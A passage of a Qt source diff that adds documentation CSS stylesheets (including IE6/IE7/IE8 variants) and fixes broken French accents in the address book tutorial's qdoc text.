42px 0px 0px 0px;*/ + } + /* edit */ + + .indexbox + { + width: 100%; + } + .content .indexboxcont li + { + font: normal 600 13px/1 Verdana; + } + + /* .indexbox a + { + color: #00732f; + text-decoration: none; + }*/ + .indexbox a:hover, .indexbox a:visited:hover + { + color: #4c0033; + text-decoration: underline; + } + .indexbox a:visited + { + color: #00732f; + text-decoration: none; + } + + .indexboxcont + { + display: block; + } + + .indexboxbar + { + background: transparent url( "../images/horBar.png" ) repeat-x left bottom; + margin-bottom: 25px; + } + + .indexboxcont .section + { + display: inline-block; + width: 49%; + *width:42%; + _width:42%; + padding:0 2% 0 1%; + vertical-align:top; +} + + .indexboxcont .indexIcon + { + width: 11%; + *width:18%; + _width:18%; + overflow:hidden; +} + .indexboxcont .section p + { + padding-top: 20px; + padding-bottom: 20px; + } + + .indexboxcont .sectionlist + { + display: inline-block; + width: 33%; + margin-right: -2px; + vertical-align: top; + padding: 0; + } + .tricol + { + + } + .indexboxcont .sectionlist ul + { + padding-left: 15px; + margin-bottom: 20px; + } +/* + .indexboxcont .sectionlist ul li + { + line-height: 12px; + } +*/ + .lastcol + { + display: inline-block; + vertical-align: top; + padding: 0; + max-width: 25%; + } + + .tricol .lastcol + { + margin-left:-6px; + } + + /*.toc ul*/ + + /* end page elements */ +} +/* end of screen media */ + +/* start of print media */ + +@media print +{ + .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft + { + display: none; + background: none; + } + .content + { + position: absolute; + top: 0px; + left: 0px; + background: none; + display: block; + } +} +/* end of print media */ diff --git a/doc/src/template/style/style_ie6.css b/doc/src/template/style/style_ie6.css new file mode 100755 index 0000000..16fb850 --- /dev/null +++ b/doc/src/template/style/style_ie6.css @@ -0,0 +1,54 @@ +.indexbox, .indexboxcont, .group { + zoom: 1; + height: 1%; +} + +.sidebar { + margin-left: 3px; + width: 199px; + overflow: hidden; +} + +.sidebar .search form { + position: relative; +} + +.sidebar .search form fieldset { + position: absolute; + margin-top: -1px; +} + +.sidebar .search form input#searchstring { + border: 1px solid #fff; + height: 18px; +} + +.wrap { + zoom: 1; +} + +.content, +.toolbar { + zoom: 1; + margin-left: -3px; + position: relative; +} + +.indexbox { + clear: both; +} + +.indexboxcont .section { + zoom: 1; + float: left; +} + +.indexboxcont .sectionlist { + zoom: 1; + float: left; +} + +.wrap .toolbar .toolbuttons li { + text-indent: 0; + margin-right: 8px; +}
\ No newline at end of file diff --git a/doc/src/template/style/style_ie7.css b/doc/src/template/style/style_ie7.css new file mode 100755 index 0000000..afbff5f --- /dev/null +++ b/doc/src/template/style/style_ie7.css @@ -0,0 +1,19 @@ +.indexbox, .indexboxcont, .group { + min-height: 1px; +} + +.sidebar .search form input#searchstring { + border: 1px solid #fff; + height: 17px; +} + + +.indexboxcont .section { + zoom: 1; + float: left; +} + +.indexboxcont .sectionlist { + zoom: 1; + float: left; +} diff --git a/doc/src/template/style/style_ie8.css b/doc/src/template/style/style_ie8.css new file mode 100755 index 0000000..e69de29 --- /dev/null +++ b/doc/src/template/style/style_ie8.css diff --git a/doc/src/tutorials/addressbook-fr.qdoc b/doc/src/tutorials/addressbook-fr.qdoc index d3bd1ca..98c44a3 100644 --- a/doc/src/tutorials/addressbook-fr.qdoc +++ b/doc/src/tutorials/addressbook-fr.qdoc @@ -47,47 +47,47 @@ \nextpage {tutorials/addressbook-fr/part1}{Chapitre 1} \title Tutoriel "Carnet d'adresses" - \brief Une introduction la programation d'interface graphique montrant comment construire une application simple avec Qt. + \brief Une introduction à la programation d'interface graphique montrant comment construire une application simple avec Qt. - Ce tutoriel est une introduction la programmation de GUI (interface utilisateur) - l'aide des outils fournis par la plateforme multiplate-forme Qt. + Ce tutoriel est une introduction à la programmation de GUI (interface utilisateur) + à l'aide des outils fournis par la plateforme multiplate-forme Qt. \image addressbook-tutorial-screenshot.png - Ce tutoriel va nous amener dcouvrir quelques technologies fondamentales fournies + Ce tutoriel va nous amener à découvrir quelques technologies fondamentales fournies par Qt, tel que: \list - \o Les Widgets et leur mise en page l'aide des layouts + \o Les Widgets et leur mise en page à l'aide des layouts \o Les signaux et slots - \o Les structures de donnes de collections - \o Les entres/sorties + \o Les structures de données de collections + \o Les entrées/sorties \endlist Si c'est votre premier contact avec Qt, lisez \l{How to Learn Qt}{Comment apprendre Qt} - si ce n'est dj fait. + si ce n'est déjà fait. - Le code source du tutoriel est distribu avec Qt dans le dossier \c examples/tutorials/addressbook + Le code source du tutoriel est distribué avec Qt dans le dossier \c examples/tutorials/addressbook Les chapitres du tutoriel: \list 1 \o \l{tutorials/addressbook-fr/part1}{Conception de l'interface utilisateur} \o \l{tutorials/addressbook-fr/part2}{Ajouter des adresses} - \o \l{tutorials/addressbook-fr/part3}{Navigation entre les lments} - \o \l{tutorials/addressbook-fr/part4}{diter et supprimer des adresses} + \o \l{tutorials/addressbook-fr/part3}{Navigation entre les éléments} + \o \l{tutorials/addressbook-fr/part4}{éditer et supprimer des adresses} \o \l{tutorials/addressbook-fr/part5}{Ajout d'une fonction de recherche} \o \l{tutorials/addressbook-fr/part6}{Sauvegarde et chargement} - \o \l{tutorials/addressbook-fr/part7}{Fonctionnalits avances} + \o \l{tutorials/addressbook-fr/part7}{Fonctionnalités avancées} \endlist - La petite application que nous dvelopperons ici ne possde pas tous les lments + La petite application que nous développerons ici ne possède pas tous les éléments des interfaces dernier cri, elle va nous permettre d'utiliser les techniques de base - utilises dans les applications plus complexes. + utilisées dans les applications plus complexes. - Lorsque vous aurez termin ce tutoriel, nous vous recommandons de poursuivre avec l'exemple - "\l{mainwindows/application}{Application}", qui prsente une interface simple utilisant - les menus et barres d'outils, la barre d'tat, etc. + Lorsque vous aurez terminé ce tutoriel, nous vous recommandons de poursuivre avec l'exemple + "\l{mainwindows/application}{Application}", qui présente une interface simple utilisant + les menus et barres d'outils, la barre d'état, etc. */ @@ -98,156 +98,156 @@ \example tutorials/addressbook-fr/part1 \title Carnet d'adresses 1 - Conception de l'interface utilisateur - La premire partie de ce tutoriel traite de la conception d'une interface graphique + La première partie de ce tutoriel traite de la conception d'une interface graphique (GUI) basique, que l'on utilisera pour l'application Carnet d'adresses. - La premire tape dans la cration d'applications graphiques est la conception de - l'interface utilisateur. Dans ce chapitre, nous verrons comment crer les labels - et champs de saisie ncessaires l'implementation d'un carnet d'adresses de base. - Le rsultat attendu est illustr par la capture d'cran ci-dessous. + La première étape dans la création d'applications graphiques est la conception de + l'interface utilisateur. Dans ce chapitre, nous verrons comment créer les labels + et champs de saisie nécessaires à l'implementation d'un carnet d'adresses de base. + Le résultat attendu est illustré par la capture d'écran ci-dessous. \image addressbook-tutorial-part1-screenshot.png Nous allons avoir besoin de deux objets QLabel, \c nameLabel et \c addressLabel, ainsi que deux champs de saisie: un objet QLineEdit, \c nameLine, et un objet - QTextEdit, \c addressText, afin de permettre l'utilisateur d'entrer le nom d'un - contact et son adresse. Les widgets utiliss ainsi que leur placement sont visibles ci-dessous. + QTextEdit, \c addressText, afin de permettre à l'utilisateur d'entrer le nom d'un + contact et son adresse. Les widgets utilisés ainsi que leur placement sont visibles ci-dessous. \image addressbook-tutorial-part1-labeled-screenshot.png - Trois fichiers sont ncessaires l'implmentation de ce carnet d'adresses: + Trois fichiers sont nécessaires à l'implémentation de ce carnet d'adresses: \list - \o \c{addressbook.h} - le fichier de dfinition (header) pour la classe \c AddressBook, - \o \c{addressbook.cpp} - le fichier source, qui comprend l'implmentation de la classe + \o \c{addressbook.h} - le fichier de définition (header) pour la classe \c AddressBook, + \o \c{addressbook.cpp} - le fichier source, qui comprend l'implémentation de la classe \c AddressBook - \o \c{main.cpp} - le fichier qui contient la mthode \c main() , et + \o \c{main.cpp} - le fichier qui contient la méthode \c main() , et une instance de la classe \c AddressBook. \endlist - \section1 Programmation en Qt - hritage + \section1 Programmation en Qt - héritage - Lorsque l'on crit des programmes avec Qt, on a gnralement recours - l'hritage depuis des objets Qt, afin d'y ajouter des fonctionnalits. - C'est l'un des concepts fondamentaux de la cration de widgets personnaliss - ou de collections de widgets. Utiliser l'hritage afin de complter - ou modifier le comportement d'un widget prsente les avantages suivants: + Lorsque l'on écrit des programmes avec Qt, on a généralement recours à + l'héritage depuis des objets Qt, afin d'y ajouter des fonctionnalités. + C'est l'un des concepts fondamentaux de la création de widgets personnalisés + ou de collections de widgets. Utiliser l'héritage afin de compléter + ou modifier le comportement d'un widget présente les avantages suivants: \list - \o La possibilit d'implmenter des mthodes virtuelles et des mthodes - virtuelles pures pour obtenir exactement ce que l'on souhaite, avec la possibilit - d'utiliser l'implmentation de la classe mre si besoin est. + \o La possibilité d'implémenter des méthodes virtuelles et des méthodes + virtuelles pures pour obtenir exactement ce que l'on souhaite, avec la possibilité + d'utiliser l'implémentation de la classe mère si besoin est. \o Cela permet l'encapsulation partielle de l'interface utilisateur dans une classe, - afin que les autres parties de l'application n'aient pas se soucier de chacun des + afin que les autres parties de l'application n'aient pas à se soucier de chacun des widgets qui forment l'interface utilisateur. - \o La classe fille peut tre utilise pour crer de nombreux widgets personnaliss - dans une mme application ou bibliothque, et le code de la classe fille peut tre - rutilis dans d'autres projets + \o La classe fille peut être utilisée pour créer de nombreux widgets personnalisés + dans une même application ou bibliothèque, et le code de la classe fille peut être + réutilisé dans d'autres projets \endlist Comme Qt ne fournit pas de widget standard pour un carnet d'adresses, nous - partirons d'une classe de widget Qt standard et y ajouterons des fonctionnalits. - La classe \c AddressBook cre dans ce tutoriel peut tre rutilise si on a besoin d'un + partirons d'une classe de widget Qt standard et y ajouterons des fonctionnalités. + La classe \c AddressBook crée dans ce tutoriel peut être réutilisée si on a besoin d'un widget carnet d'adresses basique. \section1 La classe AddressBook Le fichier \l{tutorials/addressbook-fr/part1/addressbook.h}{\c addressbook.h} permet de - dfinir la classe \c AddressBook. + définir la classe \c AddressBook. - On commence par dfinir \c AddressBook comme une classe fille de QWidget et dclarer - un constructeur. On utilise galement la macro Q_OBJECT pour indiquer que la classe - exploite les fonctionnalits de signaux et slots offertes par Qt ainsi que - l'internationalisation, bien que nous ne les utilisions pas ce stade. + On commence par définir \c AddressBook comme une classe fille de QWidget et déclarer + un constructeur. On utilise également la macro Q_OBJECT pour indiquer que la classe + exploite les fonctionnalités de signaux et slots offertes par Qt ainsi que + l'internationalisation, bien que nous ne les utilisions pas à ce stade. \snippet tutorials/addressbook-fr/part1/addressbook.h class definition - La classe contient les dclarations de \c nameLine et \c addressText, - les instances prives de QLineEdit et QTextEdit mentionnes prcdemment. - Vous verrez, dans les chapitres venir que les informations contenues - dans \c nameLine et \c addressText sont ncessaires de nombreuses mthodes + La classe contient les déclarations de \c nameLine et \c addressText, + les instances privées de QLineEdit et QTextEdit mentionnées précédemment. + Vous verrez, dans les chapitres à venir que les informations contenues + dans \c nameLine et \c addressText sont nécessaires à de nombreuses méthodes du carnet d'adresses. - Il n'est pas ncessaire de dclarer les objets QLabel que nous allons utiliser - puisque nous n'aurons pas besoin d'y faire rfrence aprs leur cration. - La faon dont Qt gre la parent des objets est traite dans la section suivante. + Il n'est pas nécessaire de déclarer les objets QLabel que nous allons utiliser + puisque nous n'aurons pas besoin d'y faire référence après leur création. + La façon dont Qt gère la parenté des objets est traitée dans la section suivante. - La macro Q_OBJECT implmente des fonctionnalits parmi les plus avances de Qt. + La macro Q_OBJECT implémente des fonctionnalités parmi les plus avancées de Qt. Pour le moment, il est bon de voir la macro Q_OBJECT comme un raccourci nous - permettant d'utiliser les mthodes \l{QObject::}{tr()} et \l{QObject::}{connect()}. + permettant d'utiliser les méthodes \l{QObject::}{tr()} et \l{QObject::}{connect()}. - Nous en avons maintenant termin avec le fichier \c addressbook.h et allons - passer l'implmentation du fichier \c addressbook.cpp. + Nous en avons maintenant terminé avec le fichier \c addressbook.h et allons + passer à l'implémentation du fichier \c addressbook.cpp. - \section1 Implmentation de la classe AddressBook + \section1 Implémentation de la classe AddressBook - Le constructeur de la classe \c{AddressBook} prend en paramtre un QWidget, \e parent. - Par convention, on passe ce paramtre au constructeur de la classe mre. - Ce concept de parent, o un parent peut avoir un ou plusieurs enfants, est utile - pour regrouper les Widgets avec Qt. Par exemple, si vous dtruisez le parent, - tous ses enfants seront dtruits galament. + Le constructeur de la classe \c{AddressBook} prend en paramètre un QWidget, \e parent. + Par convention, on passe ce paramètre au constructeur de la classe mère. + Ce concept de parenté, où un parent peut avoir un ou plusieurs enfants, est utile + pour regrouper les Widgets avec Qt. Par exemple, si vous détruisez le parent, + tous ses enfants seront détruits égalament. \snippet tutorials/addressbook/part1/addressbook.cpp constructor and input fields - l'intrieur de ce constructeur, on dclare et instancie deux objets locaux - QLabel, \c nameLabel et \c addressLabel, de mme on instancie \c nameLine et - \c addressText. La mthode \l{QObject::tr()}{tr()} renvoie une version traduite - de la chane de caractres, si elle existe; dans le cas contraire, elle renvoie - la chane elle mme. On peut voir cette mthode comme un marqueur \tt{<insrer - la traduction ici>}, permettant de reprer les objets QString considrer - pour traduire une application. Vous remarquerez, dans les chapitres venir - comme dans les \l{Qt Examples}{exemples Qt}, qu'elle est utilise chaque fois - que l'on utilise une chane susceptible d'tre traduite. + à l'intérieur de ce constructeur, on déclare et instancie deux objets locaux + QLabel, \c nameLabel et \c addressLabel, de même on instancie \c nameLine et + \c addressText. La méthode \l{QObject::tr()}{tr()} renvoie une version traduite + de la chaîne de caractères, si elle existe; dans le cas contraire, elle renvoie + la chaîne elle même. On peut voir cette méthode comme un marqueur \tt{<insérer + la traduction ici>}, permettant de repérer les objets QString à considérer + pour traduire une application. Vous remarquerez, dans les chapitres à venir + comme dans les \l{Qt Examples}{exemples Qt}, qu'elle est utilisée chaque fois + que l'on utilise une chaîne susceptible d'être traduite. Lorsque l'on programme avec Qt, il est utile de savoir comment fonctionnent les agencements ou layouts. Qt fournit trois classes principales de layouts pour - contrler le placement des widgets: QHBoxLayout, QVBoxLayout et QGridLayout. + contrôler le placement des widgets: QHBoxLayout, QVBoxLayout et QGridLayout. \image addressbook-tutorial-part1-labeled-layout.png - On utilise un QGridLayout pour positionner nos labels et champs de saisie de manire - structure. QGridLayout divise l'espace disponible en une grille, et place les - widgets dans les cellules que l'on spcifie par les numros de ligne et de colonne. - Le diagramme ci-dessus prsente les cellules et la position des widgets, et cette - organisation est obtenue l'aide du code suivant: + On utilise un QGridLayout pour positionner nos labels et champs de saisie de manière + structurée. QGridLayout divise l'espace disponible en une grille, et place les + widgets dans les cellules que l'on spécifie par les numéros de ligne et de colonne. + Le diagramme ci-dessus présente les cellules et la position des widgets, et cette + organisation est obtenue à l'aide du code suivant: \snippet tutorials/addressbook/part1/addressbook.cpp layout - On remarque que le label \c AddressLabel est positionn en utilisant Qt::AlignTop - comme argument optionnel. Ceci est destin assurer qu'il ne sera pas centr - verticalement dans la cellule (1,0). Pour un aperu rapide des layouts de Qt, + On remarque que le label \c AddressLabel est positionné en utilisant Qt::AlignTop + comme argument optionnel. Ceci est destiné à assurer qu'il ne sera pas centré + verticalement dans la cellule (1,0). Pour un aperçu rapide des layouts de Qt, consultez la section \l{Layout Management}. - Afin d'installer l'objet layout dans un widget, il faut appeler la mthode + Afin d'installer l'objet layout dans un widget, il faut appeler la méthode \l{QWidget::setLayout()}{setLayout()} du widget en question: \snippet tutorials/addressbook/part1/addressbook.cpp setting the layout - Enfin, on initialise le titre du widget "Simple Address Book" + Enfin, on initialise le titre du widget à "Simple Address Book" - \section1 Excution de l'application + \section1 Exécution de l'application - Un fichier spar, \c main.cpp, est utilis pour la mthode \c main(). Dans cette - fonction, on cre une instance de QApplication, \c app. QApplication se charge de - des ressources communes l'ensemble de l'application, tel que les polices de - caractres et le curseur par dfaut, ainsi que de l'excution de la boucle d'vnements. + Un fichier séparé, \c main.cpp, est utilisé pour la méthode \c main(). Dans cette + fonction, on crée une instance de QApplication, \c app. QApplication se charge de + des ressources communes à l'ensemble de l'application, tel que les polices de + caractères et le curseur par défaut, ainsi que de l'exécution de la boucle d'évènements. De ce fait, il y a toujours un objet QApplication dans toute application graphique en Qt. \snippet tutorials/addressbook/part1/main.cpp main function On construit un nouveau widget \c AddressBook sur la pile et on invoque - sa mthode \l{QWidget::show()}{show()} pour l'afficher. - Cependant, le widget ne sera pas visible tant que la boucle d'vnements - n'aura pas t lance. On dmarre la boucle d'vnements en appelant la - mthode \l{QApplication::}{exec()} de l'application; le rsultat renvoy - par cette mthode est lui mme utilis comme valeur de retour pour la mthode + sa méthode \l{QWidget::show()}{show()} pour l'afficher. + Cependant, le widget ne sera pas visible tant que la boucle d'évènements + n'aura pas été lancée. On démarre la boucle d'évènements en appelant la + méthode \l{QApplication::}{exec()} de l'application; le résultat renvoyé + par cette méthode est lui même utilisé comme valeur de retour pour la méthode \c main(). - On comprend maintenant pourquoi \c AddressBook a t cr sur la pile: la fin + On comprend maintenant pourquoi \c AddressBook a été créé sur la pile: à la fin du programme, l'objet sort du scope de la fonction \c main() et tous ses widgets enfants - sont supprims, assurant ainsi qu'il n'y aura pas de fuites de mmoire. + sont supprimés, assurant ainsi qu'il n'y aura pas de fuites de mémoire. */ /*! @@ -258,53 +258,53 @@ \example tutorials/addressbook-fr/part2 \title Carnet d'adresses 2 - Ajouter des adresses - La prochaine tape pour crer notre carnet d'adresses est d'ajouter un soupon - d'interactivit. + La prochaine étape pour créer notre carnet d'adresses est d'ajouter un soupçon + d'interactivité. \image addressbook-tutorial-part2-add-contact.png Nous allons fournir un bouton que l'utilisateur peut - cliquer pour ajouter un nouveau contact. Une structure de donnes est aussi - ncessaire afin de pouvoir stocker les contacts en mmoire. + cliquer pour ajouter un nouveau contact. Une structure de données est aussi + nécessaire afin de pouvoir stocker les contacts en mémoire. - \section1 Dfinition de la classe AddressBook + \section1 Définition de la classe AddressBook Maintenant que nous avons mis en place les labels et les champs de saisie, - nous ajoutons les boutons pour complter le processus d'ajout d'un contact. + nous ajoutons les boutons pour compléter le processus d'ajout d'un contact. Cela veut dire que notre fichier \c addressbook.h a maintenant trois objets QPushButton et trois slots publics correspondant. \snippet tutorials/addressbook/part2/addressbook.h slots - Un slot est une mthode qui rpond un signal. Nous allons - voir ce concept en dtail lorsque nous implmenterons la classe \c{AddressBook}. - Pour une explication dtaille du concept de signal et slot, vous pouvez - vous rfrer au document \l{Signals and Slots}. + Un slot est une méthode qui répond à un signal. Nous allons + voir ce concept en détail lorsque nous implémenterons la classe \c{AddressBook}. + Pour une explication détaillée du concept de signal et slot, vous pouvez + vous référer au document \l{Signals and Slots}. Les trois objets QPushButton \c addButton, \c submitButton et \c cancelButton - sont maintenant inclus dans la dclaration des variables prives, avec - \c nameLine et \c addressText du chapitre prcdent. + sont maintenant inclus dans la déclaration des variables privées, avec + \c nameLine et \c addressText du chapitre précédent. \snippet tutorials/addressbook/part2/addressbook.h pushbutton declaration Nous avons besoin d'un conteneur pour stocker les contacts du carnet - d'adresses, de faon pouvoir les numrer et les afficher. - Un objet QMap, \c contacts, est utilis pour a, car il permet de stocker - des paires cl-valeur: le nom du contact est la \e{cl} et l'adresse du contact + d'adresses, de façon à pouvoir les énumérer et les afficher. + Un objet QMap, \c contacts, est utilisé pour ça, car il permet de stocker + des paires clé-valeur: le nom du contact est la \e{clé} et l'adresse du contact est la \e{valeur}. \snippet tutorials/addressbook/part2/addressbook.h remaining private variables - Nous dclarons aussi deux objects QString privs: \c oldName et \c oldAddress. - Ces objets sont ncessaires pour conserver le nom et l'adresse du dernier contact - affich avant que l'utilisateur ne clique sur le bouton "Add". Grce ces variables + Nous déclarons aussi deux objects QString privés: \c oldName et \c oldAddress. + Ces objets sont nécessaires pour conserver le nom et l'adresse du dernier contact + affiché avant que l'utilisateur ne clique sur le bouton "Add". Grâce à ces variables si l'utilisateur clique sur "Cancel", il est possible de revenir - l'affichage du dernier contact. + à l'affichage du dernier contact. - \section1 Implmentation de la classe AddressBook + \section1 Implémentation de la classe AddressBook Dans le constructeur de \c AddressBook, \c nameLine et - \c addressText sont mis en mode lecture seule, de faon autoriser l'affichage + \c addressText sont mis en mode lecture seule, de façon à autoriser l'affichage mais pas la modification du contact courant. \dots @@ -317,16 +317,16 @@ \snippet tutorials/addressbook/part2/addressbook.cpp pushbutton declaration - Le bouton \c addButton est affich en invoquant la mthode \l{QPushButton::show()} - {show()}, tandis que \c submitButton et \c cancelButton sont cachs en invoquant - \l{QPushButton::hide()}{hide()}. Ces deux boutons ne seront affichs que lorsque - l'utilisateur cliquera sur "Add", et ceci est gr par la mthode \c addContact() - dcrite plus loin. + Le bouton \c addButton est affiché en invoquant la méthode \l{QPushButton::show()} + {show()}, tandis que \c submitButton et \c cancelButton sont cachés en invoquant + \l{QPushButton::hide()}{hide()}. Ces deux boutons ne seront affichés que lorsque + l'utilisateur cliquera sur "Add", et ceci est géré par la méthode \c addContact() + décrite plus loin. \snippet tutorials/addressbook/part2/addressbook.cpp connecting signals and slots Nous connectons le signal \l{QPushButton::clicked()}{clicked()} de chaque bouton - au slot qui grera l'action. + au slot qui gèrera l'action. L'image ci-dessous illustre ceci: \image addressbook-tutorial-part2-signals-and-slots.png @@ -336,77 +336,77 @@ \snippet tutorials/addressbook/part2/addressbook.cpp vertical layout - La methode \l{QBoxLayout::addStretch()}{addStretch()} est utilise pour - assurer que les boutons ne sont pas rpartis uniformment, mais regroups - dans la partie supperieure du widget. La figure ci-dessous montre la diffrence - si \l{QBoxLayout::addStretch()}{addStretch()} est utilis ou pas. + La methode \l{QBoxLayout::addStretch()}{addStretch()} est utilisée pour + assurer que les boutons ne sont pas répartis uniformément, mais regroupés + dans la partie supperieure du widget. La figure ci-dessous montre la différence + si \l{QBoxLayout::addStretch()}{addStretch()} est utilisé ou pas. \image addressbook-tutorial-part2-stretch-effects.png - Ensuite nous ajoutons \c buttonLayout1 \c mainLayout, en utilisant + Ensuite nous ajoutons \c buttonLayout1 à \c mainLayout, en utilisant \l{QGridLayout::addLayout()}{addLayout()}. Ceci nous permet d'imbriquer les mises en page puisque \c buttonLayout1 est maintenant un enfant de \c mainLayout. \snippet tutorials/addressbook/part2/addressbook.cpp grid layout - Les coordonnes du layout global ressemblent maintenant a: + Les coordonnées du layout global ressemblent maintenant à ça: \image addressbook-tutorial-part2-labeled-layout.png - Dans la mthode \c addContact(), nous stockons les dtails du dernier - contact affich dans \c oldName et \c oldAddress. Ensuite, nous - vidons ces champs de saisie et nous dsactivons le mode - lecture seule. Le focus est plac sur \c nameLine et on affiche + Dans la méthode \c addContact(), nous stockons les détails du dernier + contact affiché dans \c oldName et \c oldAddress. Ensuite, nous + vidons ces champs de saisie et nous désactivons le mode + lecture seule. Le focus est placé sur \c nameLine et on affiche \c submitButton et \c cancelButton. \snippet tutorials/addressbook/part2/addressbook.cpp addContact - La mthode \c submitContact() peut tre divise en trois parties: + La méthode \c submitContact() peut être divisée en trois parties: \list 1 - \o Nous extrayons les dtails du contact depuis \c nameLine et \c addressText + \o Nous extrayons les détails du contact depuis \c nameLine et \c addressText et les stockons dans des objets QString. Nous les validons pour s'assurer - que l'utilisateur n'a pas cliqu sur "Add" avec des champs de saisie - vides; sinon un message est affich avec QMessageBox pour rappeller - l'utilisateur que les deux champs doivent tre complts. + que l'utilisateur n'a pas cliqué sur "Add" avec des champs de saisie + vides; sinon un message est affiché avec QMessageBox pour rappeller à + l'utilisateur que les deux champs doivent être complétés. \snippet tutorials/addressbook/part2/addressbook.cpp submitContact part1 - \o Ensuite, nous vrifions si le contact existe dj. Si aucun contacts - existant n'entre en conflit avec le nouveau, nous l'ajoutons + \o Ensuite, nous vérifions si le contact existe déjà. Si aucun contacts + existant n'entre en conflit avec le nouveau, nous l'ajoutons à \c contacts et nous affichons un QMessageBox pour informer l'utilisateur - que le contact a t ajout. + que le contact a été ajouté. \snippet tutorials/addressbook/part2/addressbook.cpp submitContact part2 - Si le contact existe dj, nous affichons un QMessageBox pour informer - l'utilisateur du problme. - Notre objet \c contacts est bas sur des paires cl-valeur forms par - le nom et l'adresse, nous voulons nous assurer que la \e cl est unique. + Si le contact existe déjà, nous affichons un QMessageBox pour informer + l'utilisateur du problème. + Notre objet \c contacts est basé sur des paires clé-valeur formés par + le nom et l'adresse, nous voulons nous assurer que la \e clé est unique. - \o Une fois que les deux vrifications prcdentes ont t traites, - nous restaurons les boutons leur tat normal l'aide du code + \o Une fois que les deux vérifications précédentes ont été traitées, + nous restaurons les boutons à leur état normal à l'aide du code suivant: \snippet tutorials/addressbook/part2/addressbook.cpp submitContact part3 \endlist - La capture d'cran ci-dessous montre l'affichage fournit par un objet - QMessageBox, utilis ici pour afficher un message d'information - l'utilisateur: + La capture d'écran ci-dessous montre l'affichage fournit par un objet + QMessageBox, utilisé ici pour afficher un message d'information + à l'utilisateur: \image addressbook-tutorial-part2-add-successful.png - La mthode \c cancel() restaure les dtails du dernier contact, active + La méthode \c cancel() restaure les détails du dernier contact, active \c addButton, et cache \c submitButton et \c cancelButton. \snippet tutorials/addressbook/part2/addressbook.cpp cancel - L'ide gnrale pour augmenter la flexibilit lors de l'ajout d'un - contact est de donner la possiblit de cliquer sur "Add" - ou "Cancel" n'importe quel moment. - L'organigramme ci-dessous reprend l'ensemble des interactions dvelopes + L'idée générale pour augmenter la flexibilité lors de l'ajout d'un + contact est de donner la possiblité de cliquer sur "Add" + ou "Cancel" à n'importe quel moment. + L'organigramme ci-dessous reprend l'ensemble des interactions dévelopées jusqu'ici: \image addressbook-tutorial-part2-add-flowchart.png @@ -418,118 +418,118 @@ \contentspage {Tutoriel "Carnet d'adresses"}{Sommaire} \nextpage {tutorials/addressbook-fr/part4}{Chapitre 4} \example tutorials/addressbook-fr/part3 - \title Carnet d'adresses 3 - Navigation entre les lments + \title Carnet d'adresses 3 - Navigation entre les éléments - L'application "Carnet d'adresses" est maintenant moiti termine. Il + L'application "Carnet d'adresses" est maintenant à moitié terminée. Il nous faut maintenant ajouter quelques fonctions pour naviguer entre - les contacts. Avant de commencer, il faut se dcider sur le type de structure de - donnes le plus appropri pour stocker les contacts. + les contacts. Avant de commencer, il faut se décider sur le type de structure de + données le plus approprié pour stocker les contacts. - Dans le chapitre 2, nous avons utilis un QMap utilisant des paires cl-valeur, - avec le nom du contact comme \e cl, et l'adresse du contact comme \e valeur. + Dans le chapitre 2, nous avons utilisé un QMap utilisant des paires clé-valeur, + avec le nom du contact comme \e clé, et l'adresse du contact comme \e valeur. Cela fonctionnait bien jusqu'ici, mais pour ajouter la navigation entre les - entres, quelques amliorations sont ncessaires. + entrées, quelques améliorations sont nécessaires. - Nous amliorerons le QMap en le faisant ressembler une structure de donnes - similaire une liste lie, o tous les lments sont connects, y compris - le premier et le dernier lment. La figure ci-dessous illustre cette structure - de donne. + Nous améliorerons le QMap en le faisant ressembler à une structure de données + similaire à une liste liée, où tous les éléments sont connectés, y compris + le premier et le dernier élément. La figure ci-dessous illustre cette structure + de donnée. \image addressbook-tutorial-part3-linkedlist.png - \section1 Dfinition de la classe AddressBook + \section1 Définition de la classe AddressBook Pour ajouter les fonctions de navigation au carnet d'adresses, nous avons - besoin de deux slots supplmentaires dans notre classe \c AddressBook: - \c next() et \c previous(). Ceux-ci sont ajouts au fichier addressbook.h: + besoin de deux slots supplémentaires dans notre classe \c AddressBook: + \c next() et \c previous(). Ceux-ci sont ajoutés au fichier addressbook.h: \snippet tutorials/addressbook/part3/addressbook.h navigation functions Nous avons aussi besoin de deux nouveaux objets QPushButton, nous ajoutons - donc les variables prives \c nextButton et \c previousButton. + donc les variables privées \c nextButton et \c previousButton. \snippet tutorials/addressbook/part3/addressbook.h navigation pushbuttons - \section1 Implmentation de la classe AddressBook + \section1 Implémentation de la classe AddressBook - A l'intrieur du constructeur de \c AddressBook, dans \c addressbook.cpp, nous - instancions \c nextButton et \c previousButton et nous les dsactivons - par dfaut. Nous faisons ceci car la navigation ne doit tre active + A l'intérieur du constructeur de \c AddressBook, dans \c addressbook.cpp, nous + instancions \c nextButton et \c previousButton et nous les désactivons + par défaut. Nous faisons ceci car la navigation ne doit être activée que lorsqu'il y a plus d'un contact dans le carnet d'adresses. \snippet tutorials/addressbook/part3/addressbook.cpp navigation pushbuttons - Nous connectons alors ces boutons leur slots respectifs: + Nous connectons alors ces boutons à leur slots respectifs: \snippet tutorials/addressbook/part3/addressbook.cpp connecting navigation signals - L'image ci-dessous montre l'interface utilisateur que nous allons crer. - Remarquez que cela ressemble de plus en plus l'interface du programme + L'image ci-dessous montre l'interface utilisateur que nous allons créer. + Remarquez que cela ressemble de plus en plus à l'interface du programme complet. \image addressbook-tutorial-part3-screenshot.png Nous suivons les conventions pour les fonctions \c next() et \c previous() - en plaant \c nextButton droite et \c previousButton gauche. Pour + en plaçant \c nextButton à droite et \c previousButton à gauche. Pour faire cette mise en page intuitive, nous utilisons un QHBoxLayout pour - placer les widgets cte cte: + placer les widgets côte à côte: \snippet tutorials/addressbook/part3/addressbook.cpp navigation layout - L'objet QHBoxLayout, \c buttonLayout2, est ensuite ajout \c mainLayout. + L'objet QHBoxLayout, \c buttonLayout2, est ensuite ajouté à \c mainLayout. \snippet tutorials/addressbook/part3/addressbook.cpp adding navigation layout - La figure ci-dessous montre les systmes de coordonnes pour les widgets du + La figure ci-dessous montre les systèmes de coordonnées pour les widgets du \c mainLayout. \image addressbook-tutorial-part3-labeled-layout.png - Dans notre mthode \c addContact(), nous avons desactiv ces boutons - pour tre sr que l'utilisateur n'utilise pas la navigation lors de + Dans notre méthode \c addContact(), nous avons desactivé ces boutons + pour être sûr que l'utilisateur n'utilise pas la navigation lors de l'ajout d'un contact. \snippet tutorials/addressbook/part3/addressbook.cpp disabling navigation - Dans notre mthode \c submitContact(), nous activons les boutons de + Dans notre méthode \c submitContact(), nous activons les boutons de navigation, \c nextButton et \c previousButton, en fonction de la - taille de \c 